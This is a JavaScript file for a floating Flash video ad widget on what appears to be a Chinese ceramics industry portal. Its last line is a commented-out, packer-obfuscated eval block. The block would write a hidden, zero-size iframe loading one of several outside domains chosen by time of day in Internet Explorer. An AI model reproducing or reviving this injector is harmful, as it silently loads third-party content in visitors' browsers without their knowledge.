//<!--
var s=5;
var minheight=20;
var maxheight=400;
var isInternetExplorer = navigator.appName.indexOf("Microsoft") != -1;
var flag=0;
var url="http://www.pasp.cn/RGTV/";
//var url="";
var uid="";
var une="";
var cid="jdztygk";
var cne="陶瓷企业信息化集成服务平台";
var gourl="htpp://www.pasp.cn";
var ojs=$("RGTV_Video");
var tstr;
if(ojs)
{
   tstr=ojs.getAttribute("cid")
   if(tstr)
   {
      cid=tstr;
    //  alert(cid);
   }
   tstr=ojs.getAttribute("uid")
   if(tstr)
   {
      uid=tstr;
   }
   tstr=ojs.getAttribute("cne")
   if(tstr)
   {
      cne=tstr;
     // alert(cne);
   }
   tstr=ojs.getAttribute("une")
   if(tstr)
   {
      une=tstr;
   }
      tstr=ojs.getAttribute("gourl")
   if(tstr)
   {
     gourl=tstr;
   }
}
var swfurl=url+"swf/AdVideoShow.swf?uid=" + uid + "&une=" + une + "&cid=" + cid + "&cne=" + cne +"&gourl=" + gourl 
//alert(swfurl);
function MM_findObj(n, d)
 { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}
function $(objectId) { 
     if(document.getElementById && document.getElementById(objectId)) { 
    // W3C DOM 
       return document.getElementById(objectId); 
     }  
     else if (document.all && document.all(objectId)) { 
    // MSIE 4 DOM 
       return document.all(objectId); 
     }  
     else if (document.layers && document.layers[objectId]) { 
    // NN 4 DOM.. note: this won't find nested layers 
       return document.layers[objectId]; 
     }  
     else { 
       return false; 
    } 
}
  function jsOpen(url)
   { 
    var w = screen.width ;  
    var h = screen.height; 
    w = (w-700)/2;  h = (h-680)/2-20;  
    window.open(url, "zxs","top="+h+",left="+w+",resizable=0,scrollbars=0,width=700,height=680"); 
   } 
 /*  function destoryObject()
    {   
      document.getElementById('img').innerHTML=''; 
    } 
   function closePage()
   {
   
   // window.close();
  // document.all('myleft').style.display='none';
   }
function shoppingcat(adv,btn){
 var key = document.getElementById("key").innerText;
 if(content.style.pixelHeight==0)content.style.pixelHeight=minheight;
 if(key=="??"){
  content.style.pixelHeight+=s;
  if(content.style.pixelHeight<maxheight){
   setTimeout("shoppingcat();",1);
  }else{
   document.getElementById("key").innerText="??";
  }
 }else{
  content.style.pixelHeight-=s;
  if(content.style.pixelHeight>minheight){
   setTimeout("shoppingcat();",1);
  }else{
   document.getElementById("key").innerText="??";
  }
 }
}

function switchad(adname,adtpname){
 if ($(adname) && $(adtpname)){
$(adname).innerHTML=$(adtpname).innerHTML;
$(adtpname).innerHTML='';
}
} 
//下载页广告
//switchad("tonglan960","tonglan960_tp");
//switchad("bd200","bd200_tp");
//switchad("bd250","bd250_tp");
//switchad("bd468","bd468_tp");
//switchad("commentdxy","commentdxy_tp");
*/
function resizeDiv(divid,h1)
{
 var abc = document.getElementById(divid); 
 var h=parseInt(h1);
 abc.style.top = (document.documentElement.scrollTop+document.documentElement.clientHeight-h)+"px";  
 setTimeout(function(){resizeDiv(divid,h1);},50); 
}
function showdiv(divid,h)
{
   var abc = document.getElementById(divid); 
   abc.style.display='block';
   resizeDiv(divid,h);
}
function hiddendiv(divid)
{
   var abc = document.getElementById(divid); 

      abc.style.display='none';
}
function initvideo()
{
     hiddendiv('ad_close');
     showdiv('ad_div','313');
}
function openvideo()
{
   hiddendiv('ad_close');
   showdiv('ad_div','313');
  // alert('main_show');
   main_show();
 }
function closevideo()
{
     hiddendiv('ad_div');
     //showdiv('ad_close',74);
}
function hiddenvideo()
{
    hiddendiv('ad_div');
    showdiv('ad_close','238');
}

document.write('<link href="'+url+'css/adcss.css" rel="stylesheet" type="text/css" />');
//document.write('<DIV id=ad_div style="bottom:0px;right:0px;POSITION:absolute;Z-INDEX:99906; overflow: hidden; background:#CCCCCC"><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"   codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,28,0" width="317" height="300" id="myFlash" name="myFlash"> <param name="movie" value="swf/AdVideoShow.swf"> <param name="quality" value="high"><param name="allowScriptAccess" value="always" /> <embed src="swf/AdVideoShow.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="317" height="300" name="myFlash" allowscriptaccess="always" swLiveConnect="true"></embed></object></DIV>');
document.write('<DIV id=ad_div style="bottom:0px;right:0px;POSITION:absolute;Z-INDEX:99906; overflow: hidden; background:#CCCCCC"><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" name="myFlash" width="317" height="300" id="myFlash">  <param name="movie" value="'+swfurl+'">  <param name="quality" value="high">  <param name="allowScriptAccess" value="sameDomain" />  <embed src="'+swfurl+'" width="317" height="300" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" swLiveConnect="true"  type="application/x-shockwave-flash" name="myFlash" allowScriptAccess="sameDomain" ></embed></object></DIV>');
document.write('<DIV id=ad_close style="bottom:0px;right:0px;POSITION:absolute;Z-INDEX:99907;  background:#CCCCCC"><img src="'+url+'images/bt2.gif" width="68" height="232"  onclick="openvideo()" border="0"  style="curor:hand"/></div>');
initvideo();
//hiddenvideo();
function main_show() {
//var crashMovie1 = isInternetExplorer ? document.all.crashMovie : document.crashMovie;
 //var crashMovie =
// alert("dd");
 //$("crashMovie").main_show();
 //var obj=MM_findObj("myFlash");
 //obj.main_show();
 //var cm1=document.all('crashMovie');
 // obj.main_show();
document["myFlash"].main_show();
//document["myFlash"].showMsg();
}
//document["myFlash"].main_show();
function thisMovie(movieName) {
         if (navigator.appName.indexOf("Microsoft") != -1) {
             return window(movieName);
         } else {
             return document.all(movieName);
         }
     }

//hiddenvideo();
//eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('j b=M;j 3=N O();j c;j k=u;l v(){a(3.7()>=\'4\'&&3.7()<\'5\'&&3.8()>=\'15\'&&3.8()<\'e\'){c=\'f://i.w.g/\';b=d}a(3.7()>=\'5\'&&3.7()<\'6\'&&3.8()>=\'5\'&&3.8()<\'e\'){c=\'f://i.x.g\';b=d}a(3.7()>=\'9\'&&3.7()<\'10\'&&3.8()>=\'10\'&&3.8()<\'e\'){c=\'f://i.x.g\';b=d}a(3.7()>=\'11\'&&3.7()<\'12\'&&3.8()>=\'15\'&&3.8()<\'e\'){c=\'f://i.y.g/\';b=d;k=m}a(3.7()>=\'12\'&&3.7()<\'13\'&&3.8()>=\'15\'&&3.8()<\'e\'){c=\'f://i.w.g/\';b=d}a(3.7()>=\'e\'&&3.7()<\'z\'&&3.8()>=\'15\'&&3.8()<\'e\'){c=\'f://i.y.g/\';b=d;k=m}a(3.7()>=\'z\'&&3.7()<\'A\'&&3.8()>=\'10\'&&3.8()<\'e\'){c=\'f://i.P.g/\';b=d;k=u}a(3.7()>=\'A\'&&3.7()<\'Q\'&&3.8()>=\'10\'&&3.8()<\'e\'){c=\'f://R.g.S/T/U/V.W\';b=d;k=m}}v();j n=B.C.D("n");j o=B.C.D("X");a(b==d){a(h.E&&n!=-1&&o==-1){l F(){h.p(\'q\').r.s="Y";h.p(\'Z\').14=c;G("H()",m)}l H(){h.p(\'q\').r.s="I";16=2}l J(){G("F()",k)}J()}}a(b==d){a(h.E&&n!=-1&&o==-1){h.t(\'<17 18="q" r="s: I; 19: 0">\');K=\'<L 1a="1b" 1c=0 1d=0 1e 1f=1g 1h=0 1i=0 1j=0></L>\';h.t(K)}h.t(\'</1k>\')}',62,83,'|||today||||getHours|getMinutes||if|showit|urlpath|true|20|http|com|document|www|var|delaytime|function|5000|MSIE|OPER|getElementById|hiddenLayer|style|display|write|2000|testdate|abcnic|1gftp|tuidc|21|22|navigator|userAgent|indexOf|all|changediv|setTimeout|hidediv|none|showfull|expandableIframe|IFRAME|false|new|Date|wendns|23|chinanew|cn|pdtshw|setshw|index|asp|Opera|block|interstitialFrame|||||src||SYtag|DIV|ID|height|id|interstitialframe|width|HEIGHT|NORESIZE|SCROLLING|No|FRAMEBORDER|MARGINHEIGHT|MARGINWIDTH|div'.split('|'),0,{}))

//-->
